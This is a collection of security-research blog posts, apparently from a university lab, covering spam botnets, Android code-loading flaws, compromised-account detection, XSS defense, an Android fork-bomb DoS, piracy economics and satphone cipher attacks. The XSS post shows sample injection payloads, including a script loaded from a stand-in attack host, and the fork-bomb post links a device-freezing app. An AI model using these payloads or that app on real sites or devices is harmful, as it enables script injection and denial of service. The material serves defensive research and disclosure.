New Insights into Email Spam Operations

Our group has been studying spamming botnets for a while, and our efforts in developing mitigation techniques and taking down botnets have contributed in decreasing the amount of spam on the Internet. During the last couple of years the spam volumes have significantly dropped, but spam still remains a significant burden to the email infrastructure and to email users. Recently, we have been working on gaining a better understanding of spam operations and of the actors involved in this underground economy. We believe that shedding light on these topics can help researchers develop novel mitigation techniques, and identifying which of the already-existing techniques are particularly effective in crippling spam operations, and should therefore be widely deployed. Our efforts produced two papers.

The first paper, that will be presented at AsiaCCS next week, is a longitudinal study of the spam delivery pipeline. Previous research showed that to set up a spam operation a spammer has to interact with multiple specialized actors. In particular, he has to purchase a list of email addresses to target with his spam emails, and he needs a botnet to send the actual spam. Both services are provided by specialized entities that are active on the underground market, which we call “email harvesters” and “botmasters” respectively. In this paper, we studied the relations between the different actors in the spam ecosystem. We want to understand how widely email lists are sold, and to how many spammers, as well as how many botnets each spammer rents to set up their operations.

To perform our study, we proceeded as follows. First, we disseminated fake email addresses under our control on the web. We consider any access to the web pages where these email addresses are hosted as a possible email harvester, and “fingerprint” it by logging its IP address and user agent. By doing this, every time we receive a spam email destined to a certain address, we can track which email harvester collected that address. Similarly, we can fingerprint the botnet that is sending the spam email by using a technique that we presented at USENIX Security in 2012, called SMTP dialects. In a nutshell, this technique leverages the fact that each implementation of the SMTP protocol used by spambots is different, and that it is possible to assess the family that a bot belongs to just by looking at the sequence of SMTP messages that it exchanges with the email server. Finally, we assume that a single spammer is responsible of each spam campaign, and cluster together similar emails.

After collecting the aforementioned information, we can track a spam operation from its beginning to its end: we know which email list spammers used, as well as which botnet they took advantage of. Our results show that spammers develop some sort of “brand loyalty” both to email harvesters and to botmasters: each spammer that we observed used a single botnet over a period of six months, and kept using the same email list for a long period of time.

The second paper, which was presented at the International Workshop on Cyber Crime earlier this month, studies the elements that a spammer needs to set to make his botnet perform well. We studied the statistics of 24 C&C servers belonging to the Cutwail botnet, looking at which element differentiate successful spammers from failed ones. The first element is the number of bots that the spammer uses. Having too many bots connecting to the C&C server saturates its bandwidth and results in bad performance. Another element is the size of the email list used by spammers. “Good” spammers trim their email list from non-existing email addresses, avoiding their bots to waste time sending emails that will never get delivered. A third element consists in having bots retry to send an email multiple times after receiving a server error: since many bots have poor Internet connections, this helps keeping the fraction of emails successfully sent high. The last, surprising finding is that the physical location of bots seems not to influence the performance of a spam campaign. As a side effect of this, successful spammers typically purchase bots located in developing countries, which are typically cheaper.

The findings from this paper show us which elements spammers tune to make their operation perform well. Fortunately, there are a number of systems that have been proposed by the research community that target exactly these elements. We think that widely deploying these proposed techniques could significantly cripple spam operations, to a point that might make these operations not profitable anymore. An example of these techniques is B@BEL, a system that detects whether an email sender is reputable or not, and provides fake feedback on whether an email address exists or not anytime it detects the sender as a bot. Providing fake feedback would make it impossible for spammers to cleanup their lists from non-existing email addresses, compromising the performance of their operations.

Similarly, Beverly et al. proposed a system that flags senders as bots if network errors are too common. Such system can be used as a direct countermeasure to having spammers instruct their bots to keep trying sending emails after receiving errors. Finally, SNARE is a system that, among other features, looks at the geographical distance between sender and recipients to detect spam. Since spammers purchase their bots in countries that are typically far away from their victims (who are mostly located in western countries), this system could be very effective in fighting spam if widely deployed.

We hope that the insights provided in these two papers will provide researchers with new ideas to develop effective anti-spam techniques.

Execute this! Looking at code-loading techniques in Android

Recently, several research efforts related to the security of the Android mobile platform showed how often Android applications are affected by severe security vulnerabilities. During the last summer, we decided to investigate how benign and malicious Android apps use a feature that the security community identified as problematic a long time ago: remote-code-loading functionalities.

Our findings were surprising: in fact, we found a number of very popular Android apps (each with more than one million users) that were affected by remote code execution vulnerabilities! Our paper related to this work appeared at NDSS’14, and it was presented this week in San Diego. While we suggest to check out the full paper, here we provide an overview of our findings.

Android apps are allowed to load additional code dynamically from (mostly) arbitrary sources. There is no permission check or anything similar. Once an app is installed on your device, it can even download code from the Internet (provided that it has Internet permission). We figured that sounded a little risky, so we decided to have a deeper look.

Intuitively, there are two problems with dynamic code loading:

1. Malicious apps can download dangerous code onto your device. The harmless bike tracking app that you just installed might start downloading code that sends expensive premium SMS. Unfortunately, the providers of Android markets (such as Google Play or the Amazon app store) run malware scanners centrally at the store, and hence those scanners have no chance of ever seeing the code that an app downloads at runtime if it doesn’t want them to see!
2. Benign apps might make use of such “feature” for legitimate reasons (e.g., a game loading additional levels at runtime), but what if the developers didn’t think about security? Or, as it happens more often than one would think, what if the developers failed to properly implement the security checks? Well, if an app doesn’t verify the code it loads, then attackers might find their ways to inject malicious code, and hence a single carelessly designed app could open your device to the evil guys out there. For example, this very problem has just been discovered in the CyanogenMod updater.

We set out for a thorough analysis of both aspects of the problem. In a first step, we identified different ways for apps to load external code. A popular and well-known technique is DexClassLoader, a Java class loader that allows you to load Java code from files (which you might just have downloaded). Another way is to create a so-called app context for other apps, which allows you to run their code. Please refer to the paper for a full list of techniques.

The one thing that all the code-loading techniques have in common is that the Android system does not check the code you load. There is no verification that the code has been approved by anyone or originates from a trustworthy developer. iOS, in contrast, strictly enforces that any code run on the device be signed by a certificate chain that ultimately leads to Apple.

After systematically studying how a given Android app can load code, we went on to investigate the two scenarios that we mentioned above. Remember? (1) Malicious apps evading detection and (2) vulnerabilities in benign apps.

It turns out that malicious apps can use dynamic code-loading techniques to evade the centralized malware analysis systems that are common in the Android world (such as the Google Bouncer, used by the Google Play store). Their centralized nature, i.e., the fact that apps are usually analyzed in the app store rather than on the users’ devices, makes the protection systems unable to cope with dynamically loaded code. As an experiment, we published an app on Google Play that safely downloads and executes (innocuous) code from a web server we control. Monitoring requests to the web server we discovered that, during the verification process performed by the Google Bouncer before accepting our app, the remote code was not even accessed.

In this blogpost, however, we will focus on the second aspect: the risk of vulnerabilities in benign apps.

We developed a static analysis tool (based on backward slicing) that is able to detect unsafe usage of code-loading techniques in Android apps with high accuracy. (It is important to stress that an app using such loading techniques is by no means always malicious. Have a look at the paper for a full list of the different legitimate motivations we discovered.)

In an attempt to assess the percentage of vulnerable apps, we ran our detection tool on a set of 1,632 apps from Google Play, each with more than one million installations. Disquietingly, we found that 9.25% of those apps are vulnerable to code injection. The situation among the top 50 free apps is even worse: in fact, we found that 16% are vulnerable!

Among the vulnerabilities that we found was a possible code injection attack against an advertisement framework called AppLovin. We notified the developers of this framework in July 2013, and they acknowledged the large security impact and suggested a fix within hours. We agreed with them to not publicly disclose the vulnerability until the fixed version of the framework was incorporated into a substantial amount of the vulnerable apps. This same vulnerability was then publicly disclosed in November 2013 by MWR. We’d like to stress how fast the AppLovin developers reacted to our discovery and encourage other companies to follow their example.

Finally, we designed a protection scheme that will protect Android users from vulnerable benign apps as well as malicious apps in the context of dynamic code loading. You can find the full details in the paper – here, we’ll just give a brief overview.

The basic idea behind our protection mechanism is code signing: Every piece of code that an app wants to execute must have been signed off by someone you trust. Now, we don’t want to depend on a single company for this signing business. Therefore, our system allows the user to choose trustworthy judges. Anyone is free to start analyzing Android code and providing signatures (actually, we use something that is similar to signatures, but not quite the same), and the users decide whom to trust.

We enforce our code checks by modifying Dalvik, the Java environment in Android. (Dalvik will be replaced by a new system called ART soon, but that’s not too much of a problem for the protection scheme.) Unfortunately, this means that you have to install a new version of Android in order to deploy the protection system. We are aware that this makes its wide adoption considerably harder, but we believe that the compromise is worthwhile because of the strong security guarantees that our system can provide: we can’t protect every existing Android device, but we offer greatly improved security for future devices. It is our hope that the concepts of our protection system will find their way into a future “official” version of Android.

If this short outline of our work has attracted your interest, check out our full NDSS paper to learn the details: which code-loading techniques we found, why benign apps use them, how we circumvented the Google Bouncer and how our protection system works under the hood, to name just a few things!

Detecting the Skype Twitter Compromise

On January 1, 2014 Microsoft-owned Skype added itself to the list of high-profile Twitter compromised accounts. The company’s Twitter account posted the following tweet:

As it can be seen, the tweet was even “signed” by the #SEA hashtag, which stands for Syrian Electronic Army. SEa is a group of hackers that support the Syrian regime, which has been responsible for previous high-profile Twitter hacks. The tweet states “Don’t use Microsoft emails(hotmail,outlook). They are monitoring your accounts and selling the data to the governments. More details soon #SEA”. Basically a classical case of political hacktivism.

The tweet looks  anomalous at first sight, not only for the odd content sent out by the account of a Microsoft-owned Twitter account, but also for the hashtag that attributes the tweet to the middle-eastern group. However, Twitter’s automated defenses did not block the tweet as anomalous. Even worse, since the compromise happened on a holiday, it took Microsoft hours before the tweet was taken down.

It is to detect and prevent such incidents that we developed COMPA. COMPA learns the typical behavior of a Twitter account, and flags as anomalous any tweet that significantly deviates from the learned behavioral model. iSeclab researchers Manuel Egele and Gianluca Stringhini checked the malicious tweet by the Syrian Electronic Army against the behavioral model built for the Skype Twitter account. The result is positive: had it been deployed on Twitter, COMPA would have detected and blocked the tweet, and saved Microsoft some public relations embarrassment.

More in detail, the Skype twitter account always posts from the Sprinklr Twitter client, while the malicious tweet was sent by the regular Twitter web interface. This fact is already very suspicious by itself. As a second element, the Skype Twitter account never used the #SEA hashtag before. In addition, the malicious tweet did not contain a URL, which is common practice in Skype’s tweets. Interestingly, the time of the day at which the tweet was sent matches the typical sending patterns of the Skype Twitter account. However, this was not enough to evade detection by our system.

This result shows that COMPA is effective in detecting and block tweets that are sent by compromised Twitter accounts. We strongly advocate that Twitter and other social networks implement similar techniques to keep their accounts protected, and block malicious tweets before they are posted.

deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

[cross-posted from http://adamdoupe.com/blog/2013/09/05/dedacota-toward-preventing-server-side-xss-via-automatic-code-and-data-separation/]

This post is an overview of the paper deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation which was written as a collaboration between the UC Santa Barbara Seclab and Microsoft Research, by yours truly. I’m very excited to present this work at the 2013 ACM Conference on Computer and Communication Security in Berlin. If you’re there, please say hi! (Also, if you have suggestions of places or things to do in Europe, let me know!)

So, what is deDacota?

deDacota

deDacota is my attempt to tackle the Cross-Site Scripting (XSS) problem. I know what you’re thinking, there’s been a ton of excellent research on this area. How could this work possibly be new?

XSS

Previously, we as a research community have looked at XSS vulnerabilities as a problem of lack of sanitization. Those pesky web developers (I am one, so I can say this) just can’t seem to properly sanitized the untrusted input that is output by their application.

You’d think that after all this time (at least a decade, if not more), the XSS problem would be done and solved. Just sanitize those inputs!

Hold on a minute

Well, the XSS problem is actually more complicated than it seems at first glance.

Root cause

For this work, we went back and asked: What’s the root cause of XSS vulnerabilities? The answer is obvious when you think about it, and it’s not a lack of sanitization. The root cause is: the current web application model violates the basic security principle of code and data separation.

In the case of a web application the data is the HTML markup of the page and the code is the JavaScript code, and the problem of XSS comes when an attacker is able to trick a browser to interpret data (HTML markup) as code (JavaScript).

A world without XSS

In an ideal world, the JavaScript that a developer intends to execute on a specific HTML page would be sent to the browser on a different channel. This would mean that even if an attacker is able to inject arbitrary HTML content into the data section, the browser will never interpret that as JavaScript code. Wouldn’t that be great?

That world exists now

Some people who are smarter than me have already realized this problem of mixing HTML and JavaScript code in the same web page. They banded together to create the Content Security Policy (CSP). CSP lets a developer achieve this code and data separation via an HTTP header and browser support.

The basic idea is that the web site sends a CSP HTTP header. This header specifies to the browser which JavaScript can be executed. The developer can specify a set of domains where the page is allowed to load JavaScript (allowing developers to control the src attribute in a <script> tag). Also, the developer can specify that there will be no inline JavaScript in the webpage.

With these two abilities, a web developer can communicate to the browser exactly what JavaScript should be executed, and, if properly designed, an attacker should not be able to execute any JavaScript! How you ask? If the developer forgot to sanitize some output, they have two choices to inject JavaScript (well, OK, there’s a lot of way, but all of them are covered by CSP):

1. Inject inline JavaScript:

   <script>alert('xss');</script>
   

2. Inject remote JavaScript:

   <script src="example.com/attack.js"></script>
   

CSP blocks both

Inline JavaScript is blocked by the CSP header, and remote JavaScript is blocked because the src of the script tag is not in the CSP allowed domain list!

Huzzah!

That sounds amazing, sign me up

I fully believe that CSP is the future for web applications. CSP provides excellent defense-in-depth. In fact, Google has required that all new Google Chrome Extensions use CSP.

However, for existing web applications, the conversion can be, shall we say, difficult.

Wouldn’t it be great if this conversion could be done automatically?

Well, I’m glad you asked, and this is where deDacota comes in.

See, we developed an approach to automatically separate the code and data of a web application, and we enforce that separation with CSP. We implemented a prototype of this approach and wrote a paper about it.

That’s cool, how does it work?

Thanks, nice of you to ask.

First, I need to emphasize that this is a research prototype. Consider deDacota as a proof-of-concept that shows that it is possible to automatically separate the code and data of a web application.

As a first step, we tackled the problem of automatically separating the inline JavaScript into external JavaScript. (And we completely ignored the problems of separating JavaScript in HTML attributes, inline CSS, and CSS in HTML attributes. The point of a research prototype is to show that the high-level idea can work.)

Here I’ll try to give a very high-level description of how our approach works.

We first, for every web page in the application, need to approximate the HTML output of that web page. Then, from our approximation, we extract all the inline JavaScript that the page could potentially output. Finally, we rewrite the application so that all the inline JavaScript is turned into external JavaScript. Assuming that you’ve found all the inline JavaScript, boom, your application now has the code and data separated, and you can apply a CSP policy.

Prove it

Prove what, exactly? Prove that this approach works in all cases (it doesn’t), prove that we find all the inline JavaScript (we can’t), or prove that you’ll never break an application (we didn’t, but it may be true).

So what good is it?

Well, we took the first step, and we showed that this approach, while it won’t work for every application, is able to work on real-world ASP.NET applications. We ran our tool on 6 open-source applications, some with known-vulnerabilities, some that were intentionally vulnerable, and one with a developer-written test suite. deDacota was able to successfully discover all inline JavaScript in each application, and rewrite the application without breaking the way the application functions. The rewritten applications, along with CSP, successfully prevent the known vulnerabilities.

I want to know more

Well, if you’ve made it all the way to the end, then I assume you do want to know more. Please, check out the full deDacota paper, and feel free to email me with any questions or follow me on Twitter: @adamdoupe. Thanks!

Extra Credit: Why deDacota? What does it mean?

What The Fork: how to immediately block *any* Android device

[cross-posted from http://reyammer.blogspot.com/2013/06/what-fork-how-to-immediately-block-any.html]

What if an unprivileged Android app could lock, instantaneously, any Android device out there? What if such an app exists and is also really simple to implement?

A few months ago, Antonio and I stumbled upon a paper titled Would You Mind Forking This Process? A Denial of Service attack on Android. In this paper, the authors describe a vulnerability they discovered related to Android’s Zygote that could be exploited by mounting a DoS (Denial-of-Service) attack: this resulted in the target device becoming completely unresponsive after a minute or so. Without going too much into the details, the vulnerability was due to the world-writable permission access to the Zygote’s socket, from which Zygote itself listens for “requests to fork new processes”. With this technique, they were able to make Zygote fork a high number of processes, and that was enough to block the device.

Their work got a lot of coverage and the vulnerability they found (CVE-2011-3918) has been considered as critical (CVSS score of 7.8). Eventually, even Google acknowledged the bug by committing a fix.

At that point, Antonio asked me “how about a fork-bomb? Would that work?”. To our surprise, the answer to that question is: yes, definitively yes!

We found that the most simple implementation of a fork bomb is able to instantaneously block any Android device we have tested it on, regardless of the phone/OS version.

Up to now, we verified that our exploit works on Google’s flagship device (Nexus 4 with Android 4.2.2) and on the following other ones:

• Nexus 4 – Android 4.2.1
• Nexus S – Android 4.2.1 (Cyanogen mod 10.1)
• Galaxy Nexus – Android 4.2.2 (Cyanogen mod 10.1.0-RC5)
• Galaxy Nexus – Android 4.1.1
• Galaxy Nexus – Android 4.0.4
• Samsung Galaxy Tab 10.1 – Android 3.1
• Motorola Backflip – Android 2.3.7 (Cyanogen mod 7)
• Emulator running Android – Android 4.1.2

We immediately contacted the Android security team (on Feb 7th, 2013), and received a response shortly after: in their opinion, this does not constitute a security issue, because it is just a local DoS and the user can somehow regain control of his device (by rebooting the phone).

We found their answer quite interesting. In fact, we believe that our exploit is strictly more powerful that the previously disclosed one, as in this case the device blocks immediately, and not after a minute or so. Also, the impact that such an issue might have is much higher, as there does not seem to be an easy patch to fix this problem. This naturally raised some questions: did Google patch that vulnerability only because it was a simple fix? Or maybe the patch was supposed to fix a different more serious (undisclosed) bug? As we have not heard anything back (we sent our last email to them on Feb 10th, 2013), we have no idea. In any case, we are surely not the first ones to come up with a local DoS attack (for example, check this nice trick from DexLab), but it seems that Google just does not care that much about this.

We think that local DoS is really bad (at least bad enough to commit a fix, especially when it’s simple). First, this violates one of the core principle on the Android design: no application, by default, should have the permission to perform any operation that would adversely impact other applications, the operating system, or the user. Second, what if the attack starts during the night, when the user is relying on his phone for the alarm clock? That would be quite unfortunate. And what if our nasty app starts at every boot, making the device completely unusable from the beginning? Now, if you are one of those few guys who reads a blog post like this, you probably know your way around to delete the annoying app, but what if you are not?

That being said, our uber simple forkbomb app is available on github at: https://github.com/reyammer/android-forkbomb. Feel free to try it out, but be ready to pull out your battery 🙂

For any questions, please feel free to drop us an email at yanick@cs.ucsb.edu and antoniob@cs.ucsb.edu.

Could the AP Twitter hack have been prevented?

Twitter hacks can cause a lot of damage. It is news of this week that the Associated Press Twitter account got compromised, and sent a tweet announcing that the White House had been hit by a terrorist attack, and that President Obama was injured. The dynamics of the hack are not clear yet, even though some sources claim that the AP people might have been victim of a spearphishing attack.

What is sure is that the hack had a huge, unprecedented effect on the stock market. Right after the malicious tweet was sent, the New York stock exchange suddenly fell more than 150 points. The market recovered short afterwards (after it was clear that the announcement was a hoax), but somebody could definitely have made a lot of money from this event.

This is the first time that people realize that Tweets can have a large effect on financial institutions. The question that people are asking is: could this compromise have been avoided? The answer is maybe. At the last NDSS Symposium we presented a paper titled “COMPA: Detecting Compromised Accounts on Social Networks.” The goal of the paper is to detect, and block, messages that are sent by compromised social network accounts, just like the AP one. Our system leverages a simple observation: people develop habits when using social networks. These habits include connecting to the network at specific times, using certain applications / clients to interact with the network, including links to specific domain in their messages, and so on. When an account gets compromised, the malicious messages that are sent are likely to show differences from this behavior. We developed a system, called COMPA, that learns the typical behavior of users on social networks, and raises an anomaly if a user sends a message that does not comply with the learned behavior.

We ran COMPA on the offending Tweet sent by the AP account. More precisely, we learned the historical behavior of the account, and we checked the malicious tweet against it. COMPA detected the tweet as anomalous. In particular, the tweet was sent from the web, while the AP operators typically use the SocialFlow app. In addition, the tweet does not include a URL, which is something that pretty much every news tweet contains. This is not a surprise to us. When the Fox News Politics account got hacked in 2011, COMPA was able to detect the offending tweet as anomalous too.

We think that the type of behavioral modelling that we ran in COMPA is the way in which social networks should implement their detection of compromised accounts algorithms, and we hope to see this type of techniques deployed in the wild in a near future.

Clickonomics: Determining the Effect of Anti-Piracy Measures for One-Click Hosting

The Digital Millennium Copyright Act (DCMA) already allows copyright owners to have infringing files taken down from hosting services and search engines. The Stop Online Privacy Act (SOPA) law proposal would have introduced a similar take-down scheme directed against entire web sites. But do these methods really work?

One-Click Hosters (OCHs) are web-based file hosting services. Users can upload potentially large files and obtain a unique download link in return. While OCHs such as Mediafire, Megaupload, Filesonic, Hotfile, Rapidgator, Rapidshare and several hundred others have various legitimate use cases, they are also frequently used to distribute copyrighted works without permission (“piracy”). In fact, download links for infringing files hosted on OCHs can be found on a wide range of blogs, discussion boards and other web sites, so-called indexing sites.

In the US, laws such as the Digital Millennium Copyright Act (DMCA) and the proposed – but later abandoned – Stop Online Piracy Act (SOPA) aim at combatting online piracy. Critics of these laws point to their potential for abuse as a danger to freedom of speech and question whether these laws effectively fulfil their purpose.

Measuring the visibility and effectiveness of current anti-piracy methods was the goal of our recent research. In a nutshell, we extracted download links to infringing content from 10 small and large indexing sites, and we checked for how long these files remained available on the respective OCH. We found that most infringing files remained available for rather long time periods: our data even suggests that only a surprisingly small fraction of the files were deleted due to DMCA takedown notices. The DMCA, or the way in which copyright owners were using it, was apparently not enough to render infringing content unavailable.

Analysing uploader behaviour and the structure of a few larger indexing sites, we found that there is no single indispensable actor in the OCH ecosystem. Uploaders of infringing content move to another OCH when the anti-piracy efforts of their current OCH become too restrictive. Furthermore, even shutting down a large OCH (such as Megaupload) tends to have little effect on the availability of infringing content because indexing sites often use many OCHs in parallel.

In conclusion, current anti-piracy efforts are visible, but they fail to make infringing content unavailable. So what about future anti-piracy measures? SOPA contained a takedown notice scheme to prevent “foreign US-directed sites dedicated to the theft of US property” from receiving funds or user traffic from US-based advertisement networks, payment processors and ISPs. Paradoxically, we would expect SOPA’s anti-piracy tools to be most effective against OCHs, even though OCHs are probably not as problematic as most indexing sites from a legal point of view.

A recent development in this context is increased pressure from payment processors such as Paypal. In fact, most OCHs cannot accept payments through Paypal any more due to a change in Paypal’s policies. If other payment processors follow the same strategy as Paypal, OCHs may be forced to intensify their own anti-piracy measures in order to maintain their capability of accepting credit card payments. The interesting observation is that this strategy closely resembles the ideas behind SOPA, but it could be realised even without SOPA’s controversial takedown regime.

The current approach of economic pressure on payment processors may lead to a less profit-driven piracy ecosystem. However, it is difficult to envision that legal measures could make piracy disappear entirely in a free society. It is more likely that users will continue to have the choice between piracy and legitimate offers. Anti-piracy laws on the one hand, and the attractiveness (and availability) of legitimate offers on the other hand, will shape the mainstream user behaviour in the future. Certain levels of piracy will remain, but how much of an economic problem they represent is an entirely different question.

The paper “Clickonomics: Determining the Effect of Anti-Piracy Measures for One-Click Hosting” was published at NDSS 2013. This blog post initially appeared on ORG Zine (reposted with permission).

Paying for Piracy? An Analysis of One-Click Hosters’ Controversial Reward Schemes

Many Internet users have probably heard of Megaupload, not least because the site was shut down by the FBI in early 2012. Megaupload was one of the first and largest one-click hosters (or “cyberlockers”). While Megaupload may be offline at the moment, there are still hundreds of such hosters. They are notorious for allegedly storing a lot of copyright infringing content uploaded by their users, and for being used for illegal file sharing (“piracy”).

One particular thing about many one-click hosters is that they operate so-called affiliate programmes for uploaders. These programmes financially reward users for either uploading popular content, or for converting free users into paying premium members. For example, some pay-per-download programmes paid up to $40 to an uploader when his file was downloaded one thousand times. Copyright owners have criticised these programmes for financing piracy; they argue that certain users make money from uploading files that they don’t have the right to share. With our research, we wanted to find out how much money uploaders of infringing content could make.

Doing so is not an easy task because most hosters don’t reveal how often a file was downloaded. Yet, users don’t usually find files directly on the hosters, but on external indexing sites (also known as streaming sites or direct download sites). A few indexing sites display how often a download link was clicked. We used public click data from three medium-sized and large sites to infer the number of downloads of infringing files. (There were almost no files on these sites that were legal to share.)

The distribution of uploader income was very skewed. On one French streaming site, considering only videos on one particular streaming hoster, the top four uploaders generated 30% of the total income and the top 50 uploaders generated 80% of the income. Most of the uploaders earned only a few cents per day—if they participated in the affiliate programmes at all.

On a German indexing site, we found that most new download links didn’t get many clicks later than one week after they had been posted. In other words, an uploader who wants to make money needs to keep uploading fresh files. We also saw that the income distribution per uploaded file was skewed. Most files got so few clicks that it wouldn’t make sense to upload them from a purely financial point of view.

The top uploader on one Belgian site earned around $113 per day, uploading 200 files and spending 8 hours online on an average day. To put this into context, the user declared he was from France, where his hourly income was only slightly above the legal minimum wage. From this point of view, the income may appear modest, but it might be more convenient to earn than other minimum-wage jobs. Furthermore, uploaders can make additional money by posting the same links on other sites and by earning a commission on sales of premium memberships, both of which are not reflected in our data for methodological reasons. While the three sites in our study were among the largest in their respective country, they aren’t representative for the whole file sharing ecosystem; other sites may potentially be more profit-driven than the ones we analysed.

Taken together, our results indicate that uploading files is not as profitable as one might think. Most uploaders make next to nothing—thus, money is probably not the main motivation for most of the uploaders. It is likely that affiliate programmes are an incentive only for the few highly prolific uploaders who can earn higher amounts. Yet, on one of the indexing sites (which appeared to be more community-driven), only 40% of the content would be lost if the 50 highest earning uploaders deleted all their files. For all the other movies etc., there was at least one alternative download link from a (probably more altruistic) non-top 50 uploader. We conclude that shutting down the affiliate programmes would have a limited impact on this site; they clearly aren’t the only reason why people upload infringing content.

The paper “Paying for Piracy? An Analysis of One-Click Hosters’ Controversial Reward Schemes” was published at RAID 2012. See also a recent article on Torrentfreak.

A Security Analysis of Two Satphone Standards

There is a rich body of work related to the security aspects of cellular mobile phones, in particular with respect to the GSM and UMTS systems. Similarly to GSM, there exist two standards for satellite telephony called GMR-1 and GMR2. These two standards handle the way satellite phones (abbr. satphones) and a satellite communicate with each other. For example, the standard dictates which frequencies and protocols are to be used between both parties. Even though a niche market compared to the G2 and G3 mobile systems, there are several 100,000 satphone subscribers worldwide. Given the sensitive nature of some of their application domains (e.g., natural disaster areas or military campaigns), security plays a particularly important role for satphones. One of the most important aspects is the encryption algorithm that is used to deny eavesdropping from a third party. This is especially important for satellite telephony since the transmitted data is broadcasted to a large region. For example, the data that is sent from a satellite to a phone can be received in an area of several hundreds of kilometers in diameter.

Interestingly, the encryption algorithms are not part of the public documentation for both standards. They are intentionally kept secret. We thus analyzed the encryption systems and were able to completely reverse engineer the encryption algorithms employed. The procedure we used can be outlined as follows:

1. Retrieve a dump of the firmware (from the firmware updater or the device itself).
2. Analyze the firmware in a disassembler.
3. Retrieve the DSP (digital signal processor) code inside the firmware. The DSP is a special co-processor that is used to efficiently implement tasks such as signaling, encoding, but (more importantly) also encryption.
4. Find the encryption algorithms inside the DSP code.
5. Translate the cipher code into a higher language representation and perform a cryptanalysis.

We could use existing tools for these tasks (such as the disassemble IDA Pro) but it was also necessary to develop a custom disassembler and tools to analyze the code, and we extended prior work on binary analysis to efficiently identify cryptographic code. In both cases, the encryption was performed in the DSP (digital signal processor) code. Perhaps somewhat surprisingly, we found that the GMR-1 cipher can be considered a proprietary variant of the GSM A5/2 algorithm, whereas the GMR-2 cipher is an entirely new design.

After analyzing both proprietary stream ciphers, we were able to adopt known A5/2 ciphertext-only attacks to the GMR-1 algorithm with an average case complexity of 232 steps. With respect to the GMR-2 cipher, we developed a new attack that is powerful in a known-plaintext setting. In this situation, the encryption key for one session (i.e., one phone call) can be recovered with approximately 50–65 bytes of key stream and a moderate computational complexity. A major finding of our work is that the stream ciphers of the two existing satellite phone systems are considerably weaker than what is state-of-the-art in symmetric cryptography.

We published this work at the 33rd IEEE Symposium on Security and Privacy and the paper won the best paper award at the symposium. You can find more information regarding this topic at http://gmr.crypto.rub.de

SMTP Dialects, or how to detect bots by looking at SMTP conversations

It is somewhat surprising that, in 2012, we are still struggling fighting spam. In fact, any victory we score against botnets is just temporary, and the spam levels raise again after some time. As an example, the amount of spam received worldwide dropped dramatically when Microsoft shut down the Rustock botnet, but has been rising again since then.

For these reasons, we need new techniques to detect and block spam. Current techniques mostly fall in two categories: content analysis and origin analysis. Content analysis techniques look at what is being sent, and typically analyze the content of an email to see if it is indicative of spam (for example, if it contains words that are frequently linked to spam content). Origin analysis techniques, on the other hand, look at who is sending an email, and flag the email as spam if the sender (for example the IP address the email is coming from) is known to be malicious. Both content analysis and origin analysis techniques fall short and have problems in practice. For instance, content analysis is usually very resource intensive, and cannot be run on every email sent to large, busy mail servers. Also, it can be evaded by carefully crafting the spam email. On the other hand, origin analysis techniques often have coverage problems, and fail to detect as malicious many sources that are actually sending out spam.

In our paper B@BEL: Leveraging Email Delivery for Spam Mitigation, that got presented at the USENIX Security Symposium last August, we propose to look at how emails are sent instead. The idea behind our approach is simple: the SMTP protocol, which is used to send emails on the Internet, follows Postel’s Law, which states: “Be liberal in what you accept, but conservative in what you send”. As a consequence of this, email software developers can come up with their own interpretation of the SMTP protocol, and still be able to successfully send emails. We call these variations of the protocol SMTP dialects. In the paper we show how it is possible to figure out which software (legitimate of malicious) sent a certain email just by looking at the SMTP messages exchanged between the client and the server. We also show how it is possible to enumerate the dialects spoken by spamming bots, and leverage them for spam mitigation.

Although not perfect, this technique allows, if used in conjunction with existing ones, to catch more spam, and it is a useful advancements in the war against spamming botnets.